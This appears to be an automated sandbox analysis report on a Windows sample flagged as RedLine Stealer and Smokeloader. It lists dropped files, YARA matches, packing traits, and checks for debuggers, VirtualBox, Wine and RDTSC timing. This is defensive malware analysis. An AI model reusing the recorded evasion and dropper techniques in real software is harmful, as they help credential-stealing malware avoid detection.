Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D0FD00		0_3_04D0FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D0DF87		0_3_04D0DF87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D19706		0_3_04D19706
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D03120		0_3_04D03120
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D022C0		0_3_04D022C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D0E2C9		0_3_04D0E2C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D14AEE		0_3_04D14AEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D0AA90		0_3_04D0AA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D15219		0_3_04D15219
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D04350		0_3_04D04350
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00403D20		0_2_00403D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402EC0		0_2_00402EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404F50		0_2_00404F50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00410900		0_2_00410900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A306		0_2_0041A306
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB87		0_2_0040EB87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00415E19		0_2_00415E19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EEC9		0_2_0040EEC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004156EE		0_2_004156EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040B690		0_2_0040B690
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_1000E184		0_2_1000E184
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_100102A0		0_2_100102A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAFC9C		0_2_00AAFC9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAFAC0		0_2_00AAFAC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E16AD		0_2_008E16AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00872AAE		0_2_00872AAE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00992EA8		0_2_00992EA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0090AAA8		0_2_0090AAA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008758C9		0_2_008758C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008A36FC		0_2_008A36FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009964E3		0_2_009964E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098F80B		0_2_0098F80B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088163D		0_2_0088163D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00994A27		0_2_00994A27
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098A7B5		0_2_0098A7B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00999FA3		0_2_00999FA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097EBA8		0_2_0097EBA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009913CB		0_2_009913CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00997FE1		0_2_00997FE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098C30F		0_2_0098C30F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008A492C		0_2_008A492C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098DD36		0_2_0098DD36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C1B55		0_2_008C1B55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092894E		0_2_0092894E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B551B7		0_2_04B551B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5EDEE		0_2_04B5EDEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B53F87		0_2_04B53F87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5B8F7		0_2_04B5B8F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B551B7		0_2_04B551B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5F130		0_2_04B5F130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B65955		0_2_04B65955
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B60B67		0_2_04B60B67

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1] F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1] 614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 04B5A9C7 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 04D09B60 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0040A760 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 10003160 appears 32 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7260 -s 584

Source: file.exe

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe, 00000000.00000003.2320204601.00000000010B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameY-Cleaner.exe4 vs file.exe
Source: file.exe, 00000000.00000003.2320692609.00000000058E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs file.exe
Source: file.exe, 00000000.00000003.2319974246.00000000058C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2536971239.0000000000D6C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: Y-Cleaner.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe, 00000000.00000002.2536499578.00000000009A6000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: `.VBPRPX

Source: classification engine

Classification label: mal100.evad.winEXE@2/15@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D6D0EE CreateToolhelp32Snapshot,Module32First,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401940 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7260

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\w8s4EAGWrfES

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Command line argument: emp		0_2_00408770
Source: C:\Users\user\Desktop\file.exe	Command line argument: mixtwo		0_2_00408770

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7260 -s 584

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: linkinfo.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Cleaner.lnk.0.dr

LNK file: ..\AppData\Local\Temp\w8s4EAGWrfES\Y-Cleaner.exe

Source: file.exe

Static file information: File size 1961472 > 1048576

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of getekmla is bigger than: 0x100000 < 0x1acc00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;getekmla:EW;lxnvinpd:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: Y-Cleaner.exe.0.dr

Static PE information: 0xA0CED55F [Tue Jun 29 19:19:59 2055 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: dll[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: Bunifu_UI_v1.5.3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: soft[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: Y-Cleaner.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: file.exe	Static PE information: real checksum: 0x1e5257 should be: 0x1e2878

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: getekmla
Source: file.exe	Static PE information: section name: lxnvinpd
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D095F7 push ecx; ret		0_3_04D0960A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D2037D push esi; ret		0_3_04D20386
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A1F7 push ecx; ret		0_2_0040A20A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00421B7D push esi; ret		0_2_00421B86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_1000E891 push ecx; ret		0_2_1000E8A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAE4A5 push ebp; ret		0_2_00AAE4B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAE4B5 push ebp; ret		0_2_00AAE465
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAE09C push edi; ret		0_2_00AAE0AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAFC9C push edx; mov dword ptr [esp], 6FF6E437h		0_2_00AAFCEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAFC9C push ebp; mov dword ptr [esp], 77BF596Bh		0_2_00AAFD1D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAFC9C push esi; mov dword ptr [esp], ecx		0_2_00AAFDF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB00E9 push eax; mov dword ptr [esp], 7BFE0161h		0_2_00AB0191
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB00E9 push 0E99C44Eh; mov dword ptr [esp], edi		0_2_00AB01D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAE4F2 push esi; ret		0_2_00AAE501
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB3CF7 pushfd ; iretd		0_2_00AB3D39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB3CCC pushfd ; iretd		0_2_00AB3D39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB00D6 push eax; mov dword ptr [esp], 7BFE0161h		0_2_00AB0191
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB00D6 push 0E99C44Eh; mov dword ptr [esp], edi		0_2_00AB01D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB3CD6 pushfd ; iretd		0_2_00AB3D39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAE422 push ebp; ret		0_2_00AAE431
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAE432 push ebp; ret		0_2_00AAE465
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAE811 push ecx; ret		0_2_00AAE820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB09A0 push 83000000h; ret		0_2_00AB09A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB21B2 push ebp; mov dword ptr [esp], ebx		0_2_00AB23E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAE9B5 push esi; ret		0_2_00AAE9C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAE987 push eax; ret		0_2_00AAE996
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB21E0 push ebp; mov dword ptr [esp], ebx		0_2_00AB23E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAE9FF push eax; ret		0_2_00AAEA0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAE1FD push ebx; ret		0_2_00AAE20C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAE1CD push eax; ret		0_2_00AAE1DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAE93C push esi; ret		0_2_00AAE94B

Source: file.exe	Static PE information: section name: getekmla entropy: 7.94180606533404
Source: Y-Cleaner.exe.0.dr	Static PE information: section name: .text entropy: 7.918511524700298
Source: soft[1].0.dr	Static PE information: section name: .text entropy: 7.918511524700298

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\w8s4EAGWrfES\Y-Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\w8s4EAGWrfES\Bunifu_UI_v1.5.3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass			Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D92D second address: 99D933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D933 second address: 99D937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DBE6 second address: 99DBEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DBEA second address: 99DBF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F942050A3A2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DBF8 second address: 99DBFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E193 second address: 99E199 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A04DF second address: 9A0578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007F9420DD1F38h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 push 00000000h 0x00000023 mov dh, 38h 0x00000025 mov dword ptr [ebp+122D187Fh], ebx 0x0000002b push E917441Fh 0x00000030 push ebx 0x00000031 jng 00007F9420DD1F38h 0x00000037 pushad 0x00000038 popad 0x00000039 pop ebx 0x0000003a add dword ptr [esp], 16E8BC61h 0x00000041 or edi, dword ptr [ebp+122D38EEh] 0x00000047 mov esi, dword ptr [ebp+122D3C1Ah] 0x0000004d push 00000003h 0x0000004f mov edx, eax 0x00000051 push 00000000h 0x00000053 mov si, bx 0x00000056 push edx 0x00000057 movzx edx, cx 0x0000005a pop edi 0x0000005b push 00000003h 0x0000005d mov dword ptr [ebp+122D181Ah], eax 0x00000063 push 49BFA1FFh 0x00000068 jmp 00007F9420DD1F3Eh 0x0000006d add dword ptr [esp], 76405E01h 0x00000074 mov edi, dword ptr [ebp+122D3BD6h] 0x0000007a lea ebx, dword ptr [ebp+1244E3F2h] 0x00000080 mov dword ptr [ebp+122D37E4h], eax 0x00000086 xchg eax, ebx 0x00000087 pushad 0x00000088 push ecx 0x00000089 push eax 0x0000008a push edx 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A05D3 second address: 9A05D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A05D9 second address: 9A05DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
